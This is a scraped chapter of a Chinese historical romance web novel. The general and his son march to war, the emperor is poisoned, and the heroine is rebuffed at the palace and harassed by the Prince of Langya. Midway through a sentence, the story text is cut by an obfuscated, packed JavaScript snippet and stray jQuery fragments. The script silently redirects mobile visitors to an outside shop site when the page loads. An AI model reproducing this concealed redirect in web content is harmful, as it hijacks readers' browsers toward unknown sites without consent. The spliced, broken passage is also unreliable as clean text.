文趣网 > 都市小说 > 美艳继室被暴君强夺后 > 28. 第 28 章
    翌日,天还没亮,叶菱馥便醒了。

    她翻来覆去一整夜,梦中全是刀光剑影,醒来时,枕边竟湿了一小片。

    嬿儿端了热水进来,“时候还早,女君怎么不多睡一会儿?”

    “睡不着。”叶菱馥披衣起身,走到窗边。

    天边刚刚泛起鱼肚白,院中的红梅落开了大半。

    但昨夜落了雪,又起了风,不少花瓣掉落在白雪皑皑的院中,地上铺下层层艳红,在雪光中格外夺目。

    “将军昨夜没来后屋……现在可起了?”她问。

    “将军和郎君都起了,天没亮就在前院点兵呢。”嬿儿答道。

    嬿儿又问:“女君可是要去送送?”

    叶菱馥迟疑片刻,摇了摇头:“不必了。”

    话虽如此,她眼神却总不由自主地往外飘。

    嬿儿看在眼里,也不点破,只是道:“女君先用早膳吧。”

    叶菱馥梳洗更衣,坐在桌前用了一碗粥。

    粥是什么滋味,她浑然不觉,只是魂不守舍地往嘴里送。

    外头传来号角声,声震屋瓦,叶菱馥猛地抬头,险些砸了手中的碗。

    “是出征号。”嬿儿低声说。

    叶菱馥放下粥碗,起身快步出了门。

    将军府门前已是人马齐备,桓霆和桓铮立在其中,他们要先带些家中的护卫,到了宫门再点兵出征。

    桓霆一身戎装,骑在那匹高大的枣红马上,腰悬长剑,威风凛凛。

    桓霆并辔而立银甲白袍,兜鍪被他抱在怀中,正看向桓霆不知说些什么。

    晨风吹乱了他额前的碎发,他随手拨弄开,却几次被风吹回,最后干脆一甩头,正好瞧见叶菱馥从门口出来。

    叶菱馥被他盯住,下意识想跑,目光却忽地触到他身上的盔甲,生生停住脚。

    出征了。

    此去若回不来……便再见不着了。

    况且她也从未见过,桓铮穿甲的样子。

    铠甲这东西本就笨重,即便是一旁的桓霆穿上,也显得笨重臃肿。

    可桓铮身上半分肌肉不少,却依旧精干,一身铠甲像是天生该长在他身上一般。

    那副肩膀本就宽阔,被甲胄一衬,更显得坚实。腰间腰带紧紧束着,勒出一道利落的腰线,往下是甲片覆盖的长腿,裹在牛皮战靴里,跨在马背两侧。

    桓霆同桓铮说着话,半晌没听见回音,偏头看过去,才见桓铮早把他的话当成耳旁风,正一个劲儿地盯着叶菱馥看。

    他微微蹙眉,两腿一夹马肚子,策马行至叶菱馥面前:“你起来了,怎么不再睡会儿?”

    桓霆到了跟前,叶菱馥不敢再看桓铮,低眉敛目:“妾睡不着,便起身了,正好送送将军……和郎君。”

    她略有踌躇,终究还是加上了桓铮。

    桓霆向来没有深究口舌之事的心思,只“嗯”了一声。

    叶菱馥做贼心虚,还想再找补两句,李宓抱着还没睡醒的桓婧从后头走上来,引走了桓霆的注意。

    李宓怀中抱着迷迷糊糊的桓婧,向桓霆屈膝一礼:“将军此去平安。”

    桓霆俯身摸了摸桓婧的头:“阿婧在家,听你母亲和阿姨的话。”

    “阿婧听话……”桓婧揉揉眼,奶声奶气道。

    桓霆又看向叶菱馥:“府中便交给你了。”

    叶菱馥又是一礼:“将军放心,妾身在此静候将军何郎君凯旋。”

    桓霆点点头,拨马回到队列前,高声下令。

    护卫们往来如蚁,却都挡不住叶菱馥目光寻觅,终究落在桓铮的身影。

    桓铮依旧盯着她,慢慢举起兜鍪,落在头上,兜鍪慢慢压住浓眉,藏匿他上挑的眼尾。

    他还在看着她吗?她看不清了。

    她下意识想抬一抬手,可那身影已经转回头,打马而去。

    真的走了。

    ---

    桓霆父子出征后五日,宫中惊变。

    消息传遍处处官宅,连只剩一家女眷的将军府也不例外。

    叶菱馥正百无聊赖地翻着春景图,嬿儿慌慌张张地冲进来。

    “女君,不好了!陛下中毒了!”

    手中的册子落在地上,叶菱馥霍然站起:“什么?”

    “听人说,是圣辰那日,琅玡王献给陛下的美人被人下毒,陛下宠幸时过了毒药,那美人已然暴毙,陛下也是昏迷不醒……”嬿儿脸色煞白,一双手止不住地抖,“而且,而且……”

    “而且什么?”

    “而且那毒,是南边蛮子的药,朝中都传……是南蛮与朝中之人里应外合,图谋不轨。”

    叶菱馥脑中嗡地一声。

    南蛮。

    桓霆同桓铮正在最靠近南蛮的交州。

    “还有什么消息?”

    “宫中已经戒严,琅玡王殿下暂代朝政,命将军即刻收兵,只身回京述职。”

    叶菱馥身子晃了晃,一把撑住桌子。

    收兵,只身,回京,述职。

    即便她读的书再少不过,也明白其中利害。

    这是将桓霆调离军队,只身回京受审。

    “定然是有人在背后操控。陛下遇刺,嫁祸南边,再召将军回京……琅玡王是要削夺兵权啊。”叶菱馥喃喃道。

    “女君……”嬿儿上前想扶住她。

    叶菱馥反手抓住她:“郎君呢,郎君现在在哪?”

    “郎君还在南边,继续指挥军队,琅玡王……不让郎君随将军一同回京。”

    叶菱馥的心顿时沉到谷底。

    桓霆回京受审,桓铮表面留在边境领兵打仗,实则是被扣住作人质。

    琅玡王下了这样的双重枷锁,要将桓家牢牢套死。

    “你继续去打听,尤其是大司马府上,去问问,如今情形到底为何,还有,陛下中毒的事情,如何能同将军府扯上干系。”叶菱馥紧紧攥了两把嬿儿的手腕。

    嬿儿不敢耽搁,应声而去。

    叶菱馥重新坐下,双手放在膝上,指尖来回揉搓,却依旧冰凉彻骨。

    桓铮如何了?

    听说南边虽不下雪,却十分阴冷,这样的寒冬腊月,他走时是否带够了衣裳?

    他还那样年轻,十八岁的朗朗少年,才华横溢,为了朝廷二话不说地投身那动辄没命的厮杀,如今却被当作棋子扣在前线。

    对,前线刀枪无眼,他受伤了没有?

    叶菱馥闭了闭眼,深吸一口气,又慢慢呼出。

    桓霆回京,桓铮为质,家中只剩些手无缚鸡之力的女眷,整个将军府危在旦夕。

    现在不是乱的时候。

    叶菱馥指尖快速敲打着桌面,却始终想不明白,皇帝中毒一事怎么会和将军府扯上关系。

    除非有人指使。

    叶菱馥灵光一闪,忽地想起圣辰当日,她曾在梅林中听见的话。

    “陛下龙体抱恙多年,朝中早有立太子之议,众臣皆推举安平王,殿下若此时……”

    “我对父皇一片忠孝,绝无觊觎大位之心。”

    当日她还不明所以,如今圣辰遇刺,皇帝受伤,琅玡王监国。

    种种事发,得益最大之人,正是那位口口声声说“绝无觊觎大位

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512382|202665||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    之心”的琅玡王殿下,司马骢。

    叶菱馥心中翻涌,面上却更沉静了。

    起码如今心中有了定论,不再是无头苍蝇,只能坐以待毙。

    “备车!”叶菱馥朝外头喊。

    嬿儿被她派出去探听消息,进来的是另一个婢女:“女君要出门?”

    叶菱馥起身:“进宫。我要面见贵嫔。”

    ---

    马车驶出将军府,往宫城而去。

    叶菱馥坐在马车中,手中攥着一只锦盒,盒中是一枝百年老参,价值千金。

    这是她从府里仓库中翻出来的,拿去送给贵嫔,也并不算失了面子。

    她在府中说要见贵嫔,那叫一个斩钉截铁,真正上了马车却开始紧张起来。

    她根本没有把我,贵嫔会愿意见她。

    她同贵嫔素不相识,连见都未曾见过一面,只想着贵嫔是安平王的生母,安平王是周家定下的女婿,而周家向来又与桓家交好……

    她别无他法,只能腆着脸去求。

    窗外的街景向后掠去,行至宫门,却被禁军拦下。

    “宫中有令,今日不见外客。”

    “我乃大将军桓霆之妻叶氏,探望贵嫔娘娘,劳烦通传。”叶菱馥掀开车帘,拿出桓将军的令牌。

    禁军认出令牌,却为难道:“叶夫人恕罪,实是宫中有令,今日恕不见客。”

    “何人之令?”

    “这……”禁军迟疑,“是琅玡王殿下的令。”

    叶菱馥心中冷笑。

    果然是他。

    宫中戒严,禁人出入,斩断宫中与朝臣的一切联系,将皇帝架空。

    “既如此,我便在此等候,何时能见,何时再说。”

    话落,叶菱馥便放下车帘。

    禁军为难,却也不好再驱赶。

    叶菱馥坐在车中,表面冷静,实则别无他法,绞尽脑汁地想了半日,实在不知还能去找谁。

    不知过了多久,车帘被人从外面掀开。

    一张布满横肉的面孔探进来,占满整个窗框。

    “听说叶夫人在宫门外等了许久,实在失礼,我特意来迎。”司马骢笑吟吟地看着她。

    叶菱馥又闻到他身上恶心的味道,不动声色地往里挪了挪:“殿下日理万机,妾不敢劳烦大驾。”

    “怎会是劳烦,夫人愿意等,我便愿意迎。”司马骢更往里探,两眼凝视着她纤尘不染的侧脸。

    叶菱馥别无他法,抬起头,对上那张令人作呕的脸:“殿下何必逼人太甚?”

    司马骢嘿嘿一笑:“逼人太甚?我只是礼贤下士罢了。”

    他伸出手,要去握叶菱馥的手。

    叶菱馥猛地缩回,手中锦盒砸在车板上发出闷响。

    司马骢的手停在半空,挑了挑眉:“夫人好大的脾气。”

    “妾身子不适,该回府了。”叶菱馥被司马骢的靠近逼得慌乱,后背渗出丝丝冷汗。

    司马骢又往前倾了倾身,肥大的身躯却被窗框卡住,再不能前进分毫,终究还是向后退去:“夫人请便。”

    “只是我还是要说一句,夫人若愿意,随时可以入宫来见我。”

    叶菱馥心有余悸,见他已经松开马车,迅速将被拨到一边的车帘拉回,冷声朝外:“回府!”

    车夫应声,马车辘辘而行,她的心却比来时更沉。

    司马骢的确好色,可他那番话,又不仅仅是为了调戏她。

    他是想说,今日他可以拒她于宫门之外,明日便能让整个将军府,再无翻身余地。

    她必须要想办法。